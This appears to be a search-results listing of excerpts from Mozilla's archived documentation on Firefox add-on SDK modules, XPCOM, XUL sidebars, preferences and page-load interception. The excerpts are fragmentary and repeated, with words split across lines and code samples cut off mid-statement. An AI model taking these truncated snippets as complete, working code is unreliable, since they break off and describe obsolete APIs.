...1:23 pixel instanceof pixel // => true pixel instanceof point // => true extend module exports extend utility function, that is useful for creating objects that inherit from other objects, without associated classes. ...
...function takes arbitrary number of source objects and returns a fresh object that inherits from the same prototype as a first one and implements all own properties of all given objects. ...
places/bookmarks - Archive of obsolete content
roup` won't be // present here. console.log(saves[0].title); // "ran" console.log(saves[2].group.title); // "guitars" }); searching for bookmarks bookmarks can be queried with the search() function, which accepts a query object or an array of query objects, as well as a query options object. ...
...rties are and'd together within a single query object, but are or'd together across mult
iple query objects. let { search, unsorted } = require("sdk/places/bookmarks"); // simple query with one object search( { query: "firefox" }, { sort: "title" } ).on("end", function (results) { // results matching any bookmark that has "firefox" // in its url, title or tag, sorted by title }); // mult
iple queries are or'd together search( [{ query: "firefox" }, { group: unsorted, tags: ["mozilla"] }], { sort: "title" } ).on("end", function (results) { // our first query is the same as the simple query above; // all of those results are also returned here. since mult
iple // queries are or'd together, we also get bookmarks that // match the second query. the second query's properties ...
... `mybookmark` is a child of `mygroup`. `mygroup` will // also have a `data` event called for it. }).on("end", function (items, inputitems) { // the `end` event returns all items that are explicitly // saved. so `mygroup` will not be in this array, // but `mybookmark` will be. ...
...ine overall settings such as sort order and how many objects should be returned. parameters queries : object|array an object representing a query, or an array of objects representing queries. each query object can take several properties, which are queried against the bookmarks database. each property is and'd together, meaning that bookmarks must match each property within a query object. mult
iple query objects are then or'd together. options : object optional options: name type count number the number of bookmark items to return. if left undefined, no limit is set. sort string a string specifying how the results should be sorted. possible options are 'title', 'date', 'url', 'visitcount', 'dateadded' and 'lastmodified'. ...
platform/xpcom - Archive of obsolete content
e xpcom objects that someone else has implemented, then you don't need to use this module. you can just use require("chrome") to get direct access to the components object, and access xpcom objects from there. implementing xpcom interfaces this module exports a class called unknown which implements the fundamental xpcom interface nsisupports. by subclassing unknown, either using standard javascr
ipt inheritance or using the sdk's heritage module, you can provide your own implementations of xpcom interfaces. "unknown" is named after the "iunknown" interface in com. for example, the add-on below implements the nsiobserver interface to listen for and log all topic notifications: var { class } = require('sdk/core/heritage'); var { unknown } = require('sdk/platform/xpcom'); var { cc, ci } = r...
...ents you have defined. for example, this add-on defines a subclass of unknown called helloworld that implements a function called hello. by creating a factory and passing it the contract id for the helloworld component and the helloworld constructor, we enable xpcom clients to access the helloworld component, given its contract id. in this example the helloworld component is available to javascr
ipt only, so we use the technique documented under the "using wrappedjsobject" section of how to build an xpcom component in javascr
ipt. var { class } = require('sdk/core/heritage'); var { unknown, factory } = require('sdk/platform/xpcom'); var { cc, ci } = require('chrome'); var contractid = '@me.org/helloworld'; // define a component var helloworld = class({ extends: unknown, get wrappedjso...
... old factory, while: xpcom.factorybycontract("@me.org/mycomponent") will return the new one. parameters contract : string contract id of the factory or service to retrieve. returns object : the factory or service identified by the contract id. unknown this is the base class for all xpcom objects. it is not intended to be used directly but you can subclass it, either using standard javascr
ipt inheritance or using the sdk's heritage module, to create new implementations of xpcom interfaces. for example, this subclass implements the nsirequest interface: var { class } = require('sdk/core/heritage'); var { unknown } = require('sdk/platform/xpcom'); var request = class({ extends: unknown, interfaces: [ 'nsirequest' ], initialize: function initialize() { this.pending = false; ...
...ds of this interface will be callable on the returned object. if the object implements an interface that's already defined in xpcom, you can pass that in here: var about = aboutfactory.createinstance(null, ci.nsiaboutmodule); // you can now access the nsiaboutmodule interface of the 'about' object if you will be getting the wrappedjsobject property from the returned object to access its javascr
ipt implementation, pass ci.nsisupports here: var custom = factory.createinstance(null, ci.nsisupports).wrappedjsobject; // you can now access the interface defined for the 'custom' object returns object : the component created by the factory. lockfactory() this method is required by the nsifactory interface, but as in most implementations it does nothing interesting. queryinterface() see the...
ui/button/toggle - Archive of obsolete content
for example, in the screenshots above, firefox uses the small icon when the button is in the toolbar and the large icon when the button is in the menu panel. read more about spe...
... togglebutton({ id: "my-button1", label: "my button1", icon: "./icon-16.png", onchange: changed, badge: 0, badgecolor: "#00aaaa" }); function changed(state) { button.badge = state.badge + 1; if (state.checked) { button.badgecolor = "#aa00aa"; } else { button.badgecolor = "#00aaaa"; } } specifying mult
iple icons you can specify just one icon, or mult
iple icons in different sizes. if you specify mult
iple icons, firefox will select the best-fitting icon based on the device screen resolution and the place the icon appears. for example, in the screenshots above, firefox uses the small icon when the button is in the toolbar and the large icon when the button is in the menu panel. read more about specifying icons in the reference documentation for t...
...gglebutton(options) creates a toggle button. parameters options : object required options: name type id string the button's id. this is used internally to keep track of this button. the id must be unique within your add-on. label string the button's human-readable label. when the button is in the toolbar, this appears in a toolt
ip, and when the button is in the menu, it appears underneath the button as a legend. icon url, string, object one or more icons for the button. you can specify this in one of three ways: as a resource:// url pointing at an icon file in your add-on's "data" directory, typically constructed using self.data.url(iconfile) as a relative path: a string in the form...
...-only. label the button's label. icon the button's icon or icons, as a url, relative path, or object containing a set of key-value pairs. disabled boolean property indicating whether or not the button is disabled. checked boolean property indicating whether or not the button is checked. it's initialized to false, or the value of the checked option to the button's constructor. it is then fl
ipped, on a per-window basis, whenever the user clicks the button or when the button's click() method is called. badge new in firefox 36. value to attach to the button as a badge. may be a number or a string. the badge can contain as many characters (or digits) as you like, but only the first four will be displayed. badgecolor new in firefox 36. color for the badge, specified as a css <co...
List Open Tabs - Archive of obsolete content
your add-on's "data" directory as "icon-16.png". you can download the icon here: . run the add-on, load a couple of tabs and click the button. you'll see output in the command line console that looks something like this: info: http://www.mozilla.org/about/ info: http://www.bbc.co.uk/ you don't get direct access to any content hosted in the tab. ...
...nload the icon here: . run the add-on, load a couple of tabs and click the button. you'll see output in the command line console that looks something like this: info: http://www.mozilla.org/about/ info: http://www.bbc.co.uk/ you don't get direct access to any content hosted in the tab. to access tab content, you need to attach a scr
ipt to the tab using tab.attach(). this add-on attaches a scr
ipt to all open tabs. ...
...the add-on, load a couple of tabs and click the button. you'll see output in the command line console that looks something like this: info: http://www.mozilla.org/about/ info: http://www.bbc.co.uk/ you don't get direct access to any content hosted in the tab. to access tab content, you need to attach a scr
ipt to the tab using tab.attach(). this add-on attaches a scr
ipt to all open tabs. ...
...ab content, you need to attach a scr
ipt to the tab using tab.attach(). this add-on attaches a scr
ipt to all open tabs. the scr
ipt adds a red border to the tab's document: require("sdk/ui/button/action").actionbutton({ id: "list-tabs", label: "list tabs", icon: "./icon-16.png", onclick: listtabs }); function listtabs() { var tabs = require("sdk/tabs"); for (let tab of tabs) runscr
ipt(tab); } function runscr
ipt(tab) { tab.attach({ contentscr
ipt: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference. to learn more about running scr
ipts in tabs, see the tutorial on using tab.attach(). ...
Logging - Archive of obsolete content
because dom objects aren't available to the main add-on code, the sdk provides its own global console object with most of the same methods as the dom console, including methods to log error, warning, or informational messages. you don't have to require() anything to get access to the console. it is automatically made available to you. ...
...e console.log() method prints an informational message: console.log("hello world"); try it out: create a new directory, and navigate to it execute jpm init, accepting all the defaults open "index.js" and add the line above execute jpm run firefox will start, and the following line will appear in the command window you used to execute jpm run: info: hello world! ...
...al message: console.log("hello world"); try it out: create a new directory, and navigate to it execute jpm init, accepting all the defaults open "index.js" and add the line above execute jpm run firefox will start, and the following line will appear in the command window you used to execute jpm run: info: hello world! console in content scr
ipts you can use the console in content scr
ipts as well as in your main add-on code. ...
....js" and add the line above execute jpm run firefox will start, and the following line will appear in the command window you used to execute jpm run: info: hello world! console in content scr
ipts you can use the console in content scr
ipts as well as in your main add-on code. the following add-on logs the html content of every tab the user loads, by calling console.log() inside a content scr
ipt: require("sdk/tabs").on("ready", function(tab) { tab.attach({ contentscr
ipt: "console.log(document.body.innerhtml);" }); }); console output if you are running your add-on from the command line (for example, executing jpm run or jpm test) then the console's messages appear in the command shell you used. if you've installed the add-on in firefox then the messages appear in firefox's b...
Customizing the download progress bar - Archive of obsolete content
espectively. once again, a height of 12 pixels or so and a few pixels wide seems about right, though you might have to experiment with this a bit. changing the progress bar for specific downloads this is all you need to change the progress bar appearance for all downloads. if you want to change it for certain specific downloads only, things get a bit trickier. ...
...w pixels wide seems about right, though you might have to experiment with this a bit. changing the progress bar for specific downloads this is all you need to change the progress bar appearance for all downloads. if you want to change it for certain specific downloads only, things get a bit trickier. ...
...ht, though you might have to experiment with this a bit. changing the progress bar for specific downloads this is all you need to change the progress bar appearance for all downloads. if you want to change it for certain specific downloads only, things get a bit trickier. ...
...ess bar for specific downloads this is all you need to change the progress bar appearance for all downloads. if you want to change it for certain specific downloads only, things get a bit trickier. ...
JS XPCOM - Archive of obsolete content
here are a few useful sn
ippets of code for dealing with xpcom components in javascr
ipt. contract ids a contract id is a unique name for an xpcom object. they are used to create or access well-known objects in xpcom. interfaces every xpcom object implements one or more interfaces. an interface is simply a list of constants and methods that can be called on the object, an example is nsifile. every xpcom object must implement the nsisupports interface. accessing xpcom components from javascr
ipt xpcom objects are either created as new instances (each creation gives you a completely new com object) or as services (each access gives you the same com object, often called a singleton). whether you must create a new instance or access as a service depends on the contract. in order to get an xp...
... .createinstance(components.interfaces.nsifile); file.initwithpath(filepath); this creates a new instance of the object with contract id @mozilla.org/file/local;1 and allows you to call methods from the nsifile interface on it. getting an xpcom service var preferences = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.ns
iprefservice); you can then call any methods in the ns
iprefservice interface on the preferences object. getting a different interface for a component some components implement more than one interface. sometimes javascr
ipt is clever enough to know all the interfaces available on a component, but in most cases you will have to explicitly check for an interface. with the preferences service from th...
... different interface for a component some components implement more than one interface. sometimes javascr
ipt is clever enough to know all the interfaces available on a component, but in most cases you will have to explicitly check for an interface. with the preferences service from the previous example we can do the following: var preferences = preferences.queryinterface(components.interfaces.ns
iprefbranch2); this allows you to use the methods in the ns
iprefbranch2 interface. determining which interfaces an xpcom component supports to display a list of all interfaces that an xpcom component supports, do the following: // |c| is the xpcom component instance for each (i in components.interfaces) { if (c instanceof i) { alert(i); } } in this context, instanceof is the same as queryinte...
...handler() {} abouthandler.prototype = { newchannel: function(uri) { var channel = services.io.newchannel("chrome://mystuff/content/mystuff.xul", null, null); channel.originaluri = uri; return channel; }, geturiflags: function(uri) { // do not return ci.nsiaboutmodule.uri_safe_for_untrusted_content unless // you make sure to set a non-system princ
ipal in newchannel. return 0; }, classdescr
iption: "about mystuff page", classid: components.id("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"), contractid: "@mozilla.org/network/protocol/about;1?what=mystuff", queryinterface: xpcomutils.generateqi([ci.nsiaboutmodule]) } var nsgetmodule = xpcomutils.generatensgetmodule([abouthandler]); } ...
QuerySelector - Archive of obsolete content
y made supportable (an alternative approach to the following would be to add chromewindow.prototype or window.prototype, accessing this.document.queryselector, or following the jquery style of chaining by returning 'this' within each prototype method of $()): htmldocument.prototype.$ = function (selector) { // only for html return this.queryselector(selector); }; example: <h1>test!</h1> <scr
ipt> htmldocument.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.$('h1')); // [object htmlheadingelement] </scr
ipt> xuldocument.prototype.$ = function (selector) { // only for xul return this.queryselector(selector); }; example: <label value="test!"/> <scr
ipt type="text/javascr
ipt"><![cdata[ xuldocument.prototype.$ = function (selector) { // onl...
...h1')); // [object htmlheadingelement] </scr
ipt> xuldocument.prototype.$ = function (selector) { // only for xul return this.queryselector(selector); }; example: <label value="test!"/> <scr
ipt type="text/javascr
ipt"><![cdata[ xuldocument.prototype.$ = function (selector) { // only for xul return this.queryselector(selector); }; alert(document.$('label')); // [object xulelement] ]]></scr
ipt> document.prototype.$ = function (selector) { // only for plain xml return this.queryselector(selector); }; var foo = document.implementation.createdocument('somens', 'foo', null); // create an xml document <foo xmlns="somens"/> var bar = foo.createelementns('somens', 'bar'); // add <bar xmlns="somens"/> foo.documentelement.appendchild(bar); alert(foo.$('bar').nodename); // gives 'bar' ele...
...'somens', 'foo', null); // create an xml document <foo xmlns="somens"/> var bar = foo.createelementns('somens', 'bar'); // add <bar xmlns="somens"/> foo.documentelement.appendchild(bar); alert(foo.$('bar').nodename); // gives 'bar' element.prototype.$ = function (selector) { // works for html, xul, and plain xml return this.queryselector(selector); }; html example: <h1><a>test!<a/></h1> <scr
ipt> element.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.getelementsbytagname('h1')[0].$('a').nodename); // 'a' xul example: <hbox><vbox/></hbox> <scr
ipt type="text/javascr
ipt"><![cdata[ element.prototype.$ = function (selector) { return this.queryselector(selector); }; var xulns = 'http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul'...
...however, it will work with a...
Sidebar - Archive of obsolete content
see the creating a firefox sidebar tutorial for step-by-step instructions on creating a firefox sidebar extension. opening and closing the sidebar firefox provides a built-in sidebarui object function defined in browser-sidebar.js. this means that the function is available in all browser windows. you can use this function to show, hide, or toggle sidebars. ...
...webpanelssidebar". bookmarks with "load this bookmark in sidebar" checked in the properties open in the "viewwebpanelssidebar". a web page can use window.sidebar to create bookmark with that property. to open a page in the "viewwebpanelssidebar" from chrome code (browser/addon/extension) such as from menuitem, it can call: openwebpanel(atitle, auri); accessing the sidebar from a browser.xul scr
ipt the sidebar content is always in a document separate from the main browser document (the sidebar is actually implemented as a xul browser element). this means you can't directly access the sidebar content from a scr
ipt referenced from a browser.xul overlay. to access your sidebar's window or document objects, you need to use the contentwindow or contentdocument properties of document.getelemen...
... resizing the sidebar programmatically in case you need to change the width of the sidebar, use the following code: function setsidebarwidth(newwidth) { var mainwindow = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces...
...nts.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); mainwindow.document.getelementbyid("sidebar-box").width=newwidth; } or function setsidebarwidth(newwidth) { window.top.document.getelementbyid("sidebar-box").width=newwidth; } you can also disable the ability to resize it manually, using the mouse, by hiding the sidebar's splitter element. for this sn
ippet to work, you have to declare mainwindow as in the previous code block then write: mainwindow.document.getelementbyid("sidebar-splitter").hidden = true; be aware that if you change the splitter's hidden attribute, you need to reset it to a safe value when your sidebar is closed, or replaced by another sidebar. for example, use this in your sidebar's unload event handler: mainwindow.document...
View Source for XUL Applications - Archive of obsolete content
method overview gviewsourceutils exposes several methods, but the only one you should be using directly is the viewsource method. the rest of those methods should be considered private, and might become inaccessible in the future. ...
... method overview gviewsourceutils exposes several methods, but the only one you should be using directly is the viewsource method. the rest of those methods should be considered private, and might become inaccessible in the future. ...
... method overview gviewsourceutils exposes several methods, but the only one you should be using directly is the viewsource method. the rest of those methods should be considered private, and might become inaccessible in the future. ...
... attempt to load the document source out of the network cache. linenumber (optional) the line number to focus on once the source has loaded. deprecated api this api is likely to go away in the future, and should no longer be used. the viewsource method will also accept the following arguments in place of the object: aurl a string url for the document to view the source of. apagedescr
iptor (optional) a "descr
iptor" that allows the source to be retrieved from the network cache. this is usually gotten from the nsiwebpagedescr
iptor interface via currentdescr
iptor. adocument (optional) the content document that we're attempting to load the source from. alinenumber (optional) the line number to focus on once the source has loaded. ...
Inline options - Archive of obsolete content
doctype mydialog system "chrome://myaddon/locale/mydialog.dtd"> <vbox xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <setting type="bool" pref="extensions.myaddon.bool" title="boolean" desc="stored as a boolean preference" /> </vbox> note that it's limited to <setting> tags. the root <vbox> just acts as a container, it isn't merged into the main window. if you need scr
ipt support, see the display notifications section. setting types there are several types of <setting>s, each with a different type attribute: type attribute displayed as preference stored as bool checkbox boolean boolint checkbox integer (use the attributes on and off to specify what values to store) integer textbox integer str...
...l string directory browse button and label string menulist menulist dependent on the menu item values radio radio buttons dependent on the radio values control button no pref stored the pref attribute should have the full name of the preference to be stored. the title attribute is used as a label for the controls. ...
...o set a descr
iption, either use the desc attribute, or a text node as a child of the <setting> tag. settings are tied to actual preferences, except the button setting, which is designed more for actions. ...
... doc = asubject; var control = doc.getelementbyid("myaddon-pref-control"); control.value = "test"; } } }; services.obs.addobserver(observer, "addon-options-displayed", false); // don't forget to remove your observer when your add-on is shut down. this code should be in bootstrap.js (within the startup() function) for restartless extensions or in an xpcom component or a javascr
ipt code module (not an overlay!) for traditional extensions. note: starting in gecko 13.0, you can also listen for the addon-options-hidden notification, which has the same subject and data as above, to find out when the ui is about to be removed. use this notification to remove event listeners, or any other references that might otherwise be leaked. locating the options file there are two way...
Jetpack Processes - Archive of obsolete content
ttle other than compute. messaging facilities that allow them to communicate with their parent chrome process are the only means by which they can be endowed with any real power. note: the above statement is not currently true, as js-ctypes is now provided to jetpack processes as of bug 588563. a mechanism to optionally disable this feature has been proposed in bug 614351. privileged apis when scr
ipt is evaluated in a jetpack process via a call to nsijetpack.evalscr
ipt(), the scr
ipt's global scope is endowed with the following privileged apis: sendmessage(amessagename [, v1 [, v2 [, ...]]]) similar to nsijetpack.sendmessage(), this function asynchronously sends a message to the chrome process. callmessage(amessagename [, v1 [, v2 [, ...]]]) this function is like sendmessage() but sends the ...
....unregisterreceiver(), this function unregisters a callback previously registered with registerreceiver(). unregisterreceivers(amessagename) similar to nsijetpack.unregisterreceivers(), this function unregisters all callbacks for the given message name. createhandle() similar to nsijetpack.createhandle(), this function creates a new handle and returns it. createsandbox() this creates a new javascr
ipt sandbox and returns its global scope. this global scope does not contain privileged apis, or any non-standard javascr
ipt objects for that matter, though new globals can be endowed by simply attaching them to the global scope as properties. evalinsandbox(asandbox, ascr
ipt) evaluates the given scr
ipt contents in the given sandbox's global scope. at minimum, javascr
ipt 1.8.1 is used. individual lin...
... can be provided for messages; for instance, if the handle is meant to represent a network request, an xmlhttprequest instance can be attached to the handle on the chrome process. because a handle's existence crosses process boundaries and cross-process garbage collection does not exist, the lifetime of a handle needs to be controlled manually by code. by default, a handle is rooted in the javascr
ipt interpreter's garbage collector, meaning that even if a process throws it away, it will not be garbage collected unless the other process explicitly does something to indicate that it is no longer needed. if that other process does not do something explicit and simply removes all references to it, the handle remains rooted yet unreachable in both processes and a memory leak is created. to preven...
...ly called from the process that the handle was not garbage collected in. read-write. special messages core:process-error(context) when the jetpack process crashes, this message is sent to the parent. if a crash report minidump is available, the context.dumpid property will list the minidump id of the crash report that was collected. core:exception(error) when an exception occurs in a jetpack scr
ipt and is not caught, this message is sent to the parent. the error object contains the following properties: filename, linenumber, and message. history see bug 556846 and bug 578821 for details. sample code for example code, check out the unit tests. see also nsijetpackservice nsijetpack ...
Handling Preferences - Archive of obsolete content
preferences window in firefox, select the following from the main menu: on windows, tools > options on mac, firefox > preferences on linux, edit > preferences note: keep in mind the usage of the terms "preferences" and "options" in different platforms. if you need to refer to the term "preference" in any of your locale files, you must change the string depending on the operating system. t
ip: you can use window.navigator.platform in your chrome code to figure out the operating system firefox is running on. you can use the hidden dom window in non-chrome code. firefox loads user preferences from a number of sources. each source is a js file that contains some special functions not available in regular code. the following files are used: default preferences: these are stored in t...
... names with "extensions", followed by some namespacing and finally the actual name of the preference. name parts are normally separated by dots. now let's look at how we actually manage the preference values. managing preferences with xpcom we use the preferences service in order to get and set preference values: this._prefservice = cc["@mozilla.org/preferences-service;1"].getservice(ci.ns
iprefbranch); // ... get count() { return this._prefservice.getintpref("extensions.xulschoolhello.message.count"); }, increment : function() { let currentcount = this._prefservice.getintpref("extensions.xulschoolhello.message.count"); this._prefservice.setintpref("extensions.xulschoolhello.message.count", currentcount + 1); } one important thing to keep in mind is that the "get" method...
..." methods of the service can throw an exception if the preference is not found. if you are going to use xpcom, you should always set a default value to your preferences, or use a try / catch block to prevent unhandled errors. preference listeners the xpcom way to add a listener was mentioned in the xpcom section when describing the queryinterface method: this._prefservice.queryinterface(ci.ns
iprefbranch2); this._prefservice.addobserver(prefname, this, false); this._prefservice.queryinterface(ci.ns
iprefbranch); all the qi'ing is necessary because the addobserver method is in a different interface, and other than for adding and removing observers, we use the ns
iprefbranch interface for everything related to preferences. then, create the observer method: observe : function(asubject,...
...since there are some subtleties related to preference management, there are some facilities provided in xul and firefox that make this much easier to deal with. ...
Intercepting Page Loads - Archive of obsolete content
e load process. which one you should use solely depends on your needs. we will start with the simplest one, which is also the most common to use. note: performance is very important when it comes to add-ons and page loads. read the recommendations in appendix a regarding performance if you're planning on implementing any of these. the easy way: load events this comes from the tabbrowser code sn
ippets page. in a nutshell, from the chrome code in the overlay we add an event listener for the load event. this._loadhandler = function() {that._onpageload(); }; gbrowser.addeventlistener("load", this._loadhandler, true); gbrowser is a global object that corresponds to the tabbrowser element in the main browser window. it is full of useful functions, so you should always keep it in mind when y...
...s are fired for all http requests originating from firefox. they are window-independent, so it is better to keep your observer code in non-chrome objects (your xpcom service or jsm module). otherwise you have to make sure to avoid duplicated work if you have 2 or more windows open. there are 2 http topics you can listen to, as specified in the observer notifications page: topic descr
iption http-on-modify-request called as an http request is made. the channel is available to allow you to modify headers and such. http-on-examine-response called after a response has been received from the webserver. headers are available on the channel. the subject argument on the observe method is the nsihttpchannel object that corresponds to the http channel being ...
...webprogress.domwindow.top) { // this is a frame. } in this case, the url can be obtained from arequest.name. make sure you access it from inside the state validation if condition. there may be other cases where accessing this property will throw an exception. canceling the request works just like with onlocationchange. see "recognizing page load failure" at mozilla.dev.extensions for t
ips on detecting connection failures and http response codes. xpcom solutions there are a couple more solutions you may be interested in trying if the previous ones are insufficient. these require creating xpcom components that implement existing firefox interfaces. they may be useful in case you have most of your application logic in xpcom, or if you absolutely need a single point of inspectio...
...if the content should be loaded or not with the return value, which has well-defined possible values. the context parameter gives you access to the window loading the content. as with all other solutions, you need to be efficient, and a good way to do this is to filter out unneeded cases right from the start. shouldload is called for every load operation firefox tries to do, including images, scr
ipts and xul documents. a good filter would look like this: shouldload : function(acontenttype, acontentlocation, arequestorigin, acontext, amimetypeguess, aextra) { let result = components.interfaces.nsicontentpolicy.accept; // we should check for type_subdocument as well if we want frames. if ((components.interfaces.nsicontentpolicy.type_document == acontenttype) && some_regular_expr...
Mozilla Documentation Roadmap - Archive of obsolete content
there's a great deal of free online documentation available on xul and extension development, but finding it and turning it into useful information can be a daunting task. knowing where to look is critical and non trivial. this tutorial was aimed at compiling all the right resources for extension development and putting them in the right context, but there's much more to learn, and knowing how to find it is part of what we felt was necessary to teach. ...
...s much more to learn, and knowing how to find it is part of what we felt was necessary to teach. let's look into the resources that have helped us the most. the mozilla developer center this is the official and most extensive guide to everything related to mozilla. mdc is where this tutorial is hosted, and where most of its links point to. it encompasses firefox, other mozilla products, javascr
ipt, css, xul, web and extension development guidelines, accessibility, usability, best practices... the list goes on. it's incredibly comprehensive, and its underlying wiki technology makes it easy to expand and evolve with the help of the community. having said that, there are a few problems with it. first of all, the in-site search is not reliable, so we recommend using a search engine like goog...
...pment guidelines, accessibility, usability, best practices... the list goes on. it's incredibly comprehensive, and its underlying wiki technology makes it easy to expand and evolve with the help of the community. having said that, there are a few problems with it. first of all, the in-site search is not reliable, so we recommend using a search engine like google, with queries such as "mdc javascr
ipt code modules" or "javascr
ipt code modules site:developer.mozilla.org". secondly, there are several important articles that are very lacking in information, like the preferences system page. and finally, what we mentioned in our xpcom section: almost no documentation on xpcom components. the documentation on interfaces is very complete, but it isn't nearly as useful as the documentation that exis...
...e history for all files, and link to specific code lines. it takes a little getting used to, specially learning how to choose the best search queries, but it's an invaluable resource of information. mozilla blogs several mozilla community members maintain blogs that are updated frequently, often including information on api changes, bug fixes, useful tools and future release plans. many of the t
ips and tricks included in this tutorial were discovered by reading these blogs. there are several useful feeds that you can follow using a feed reader, such as thunderbird. here are some important feeds you should consider following: planet mozilla. this is the ultimate source for everything related to mozilla. it brings together the feeds of most mozilla employees, as well as several other mem...
Performance best practices in extensions - Archive of obsolete content
the appearance of the user's desired content. load only what you need, when you need it don't load things during startup that are only needed if the user clicks a button, or if a given preference is enabled when it's not. if your extension has features that only work when the user has logged into a service, don't load the resources for those features until the user actually logs in. use javascr
ipt code modules you can create your own javascr
ipt code modules incorporating sets of features that are only needed under specific circumstances. this makes it easy to load chunks of your extension on the fly as needed, instead of loading everything all at once. while javascr
ipt modules can be extremely useful, and provide significant performance benefits, they should be used wisely. loading modu...
...ons. do as little as possible here. the browser window is blocked while your add-on's load handler runs, so the more it does, the slower firefox will appear to the user. if there is anything that can be done even a fraction of a second later, you can use an nsitimer or the window.settimeout() method to schedule that work for later. even a short delay can have a big impact. general performance t
ips avoid creating memory leaks memory leaks require the garbage collector and the cycle collector to work harder, which can significantly degrade performance. zombie compartments are a particular kind of memory leak that you can detect with minimal effort. see the zombie compartments page, especially the proactive checking of add-ons section. see common causes of memory leaks in extensions for...
..., especially the proactive checking of add-ons section. see common causes of memory leaks in extensions for ways to avoid zombie compartments and other kinds of leaks. as well as looking for these specific kinds of leaks, it's worth exercising your extension's functionality and checking the contents of about:memory for any excessive memory usage. for example, bug 719601 featured a "system princ
ipal" javascr
ipt compartment containing 100s of mbs of memory, which is much larger than usual. avoid writing slow css read the "writing efficient css" guide. remember that any selector in your rule which might match many different nodes is a source of inefficiency during either selector matching or dynamic update processing. this is especially bad for the latter if the selector can dynamically...
...start or stop matching. avoid unqualified ":hover" like the plague. avoid dom mutation event listeners dom mutation event listeners are extremely expensive and, once added to a document even briefly, significantly harm its performance. as mutation events are officially deprecated, and there are many alternatives, they should be avoided at all costs. lazily load services the xpcomutils javascr
ipt module provides two methods for lazily loading things: definelazygetter() defines a function on a specified object that acts as a getter which will be created the first time it's used. see examples. definelazyservicegetter() defines a function on a specified object which acts as a getter for a service. the service isn't obtained until the first time it's used. look through the source for exa...
Bypassing Security Restrictions and Signing Code - Archive of obsolete content
the privilege manager has been deprecated in firefox 12 and disabled in firefox 17. ...
... the privilege manager has been deprecated in firefox 12 and disabled in firefox 17. ...
... the privilege manager has been deprecated in firefox 12 and disabled in firefox 17. ...
... the privilege manager has been deprecated in firefox 12 and disabled in firefox 17. ...
Notes on HTML Reflow - Archive of obsolete content
, which corresponds to the <html> element of the html document. reflow proceeds recursively through some or all of the frame hierarchy, computing geometric information for each frame object that requires it. reflow may have the side-effect of creating new continuation frames, for example, for a text frame when the text must be wrapped. some reflows are immediate in response to user or scr
ipt actions; for example, resizing the window or changing the document's default font. these are dispatched directly from the presentation shell (e.g., ns
ipresshell::stylechangereflow), and affect the entire frame tree. other reflows are incremental and are dealt with asynchronously; for example, when content streams in from the network. incremental reflows are queued by the presentation sh...
...the reflow reason controls how a frame reacts during a reflow, and is one of the following: initial, for the very first time that the frame hierarchy is flowed. in this case, a frame knows that there is no residual state that can be used to simplify geometry computation. incremental, when something in the frame tree changes; for example, when more content is read from the network, or some scr
ipt man
ipulates the dom. an incremental reflow is targeted at a single frame in the frame hierarchy. during an incremental reflow, a frame can assume that none of the constraints computed "from above" (for example, available width) have changed; instead, something "within" the frame has changed, which may have bottom-up impact to the frame hierarchy. resize, when the containing boun...
...argeted at an individual frame in the frame hierarchy. a frame requests a incremental reflow (or one is requested on a frame's behalf) when something about the frame itself has changed. scheduling. ...
...a caller may also cancel a reflow command that is in the queue; e.g., if the target frame is destroyed. dispatch. ...
Visualizing an audio spectrum - Archive of obsolete content
ction handling the loadedmetadata event stores the metadata of the audio element in global variables; the function for the mozaudioavailable event does an fft of the samples and displays them in a canvas. note: you can use the audionode called analysernode to perform real-time fft analysis on an audio stream, rather than the code shown below. ...
...rnode to perform real-time fft analysis on an audio stream, rather than the code shown below. ...
...; i++ ) { // assuming interlaced stereo channels, // need to split and merge into a stero-mix mono signal signal[i] = (fb[2*i] + fb[2*i+1]) / 2; } fft.forward(signal); // clear the canvas before drawing spectrum ctx.clearrect(0,0, canvas.width, canvas.height); for (var i = 0; i < fft.spectrum.length; i++ ) { // mult
iply spectrum by a zoom value magnitude = fft.spectrum[i] * 4000; // draw rectangle bars for each frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedme...
...al * phaseshiftstepreal) - (currentphaseshiftimag * phaseshiftstepimag); currentphaseshiftimag = (tmpreal * phaseshiftstepimag) + (currentphaseshiftimag * phaseshiftstepreal); } halfsize = halfsize << 1; } i = buffersize/2; while(i--) { spectrum[i] = 2 * math.sqrt(real[i] * real[i] + imag[i] * imag[i]) / buffersize; } }; </scr
ipt> </body> </html> ...
Making a Mozilla installation modifiable - Archive of obsolete content
mozilla's user interface is made up of xul (described below), xbl (a topic for another tutorial), javascr
ipt, css, and image files. xul, xbl, javascr
ipt, and css files are all in text format and can be edited in a standard text editor, while image files are in binary gif, jpg, or png format and must be edited with an image editing program. the files are then collected into a series of jar archives, which are just z
ip files that contain a specially formatted "manifest" file which describes the contents of the archive so mozilla knows what to do with them. although jar archives are binary files, mozilla's ui is not compiled into machine code; mozilla instead builds its ui from the non-compiled files in the archive each time it starts up. because of this, we can modify the files in the ...
...nal, unarchived form, which is useful for the extensions developer because it makes it unnecessary to extract the files from the archive before changing the code and then re-add them to the archive afterwards. instead, you only have to extract them once and can then make as many modifications as you like. to make mozilla modifiable, we will first extract the ui files from the archives using an unz
ip utility, then edit mozilla's registry of ui files to use the extracted files instead of the original jar archives. the archives are stored within the chrome subdirectory of the mozilla installation directory. use your unz
ip utility to extract all files in that directory with a .jar extension. make sure you extract them into the same (chrome) directory in which they are located. on unix-like opera...
...extract only the one appropriate for your platform. ...
...h a .jar extension. make sure you extract them into the same (chrome) directory in which they are located. on unix-like operating systems with bash-like shells, you can run the following command within that directory to accomplish this task: for file in *.jar; do unz
ip $file; done on operating systems with dos-like shells, the following command accomplishes this task: for %file in (*.jar); do unz
ip %file note that there are platform-specific files -- en-mac.jar, en-unix.jar, and en-win.jar -- in that directory. extract only the one appropriate for your platform. after extracting the files we will modify the mozilla chrome registry to use the extracted files instead of the original jar archives. the chrome registry is a file that lists each major mozilla component and where in the chrome di...
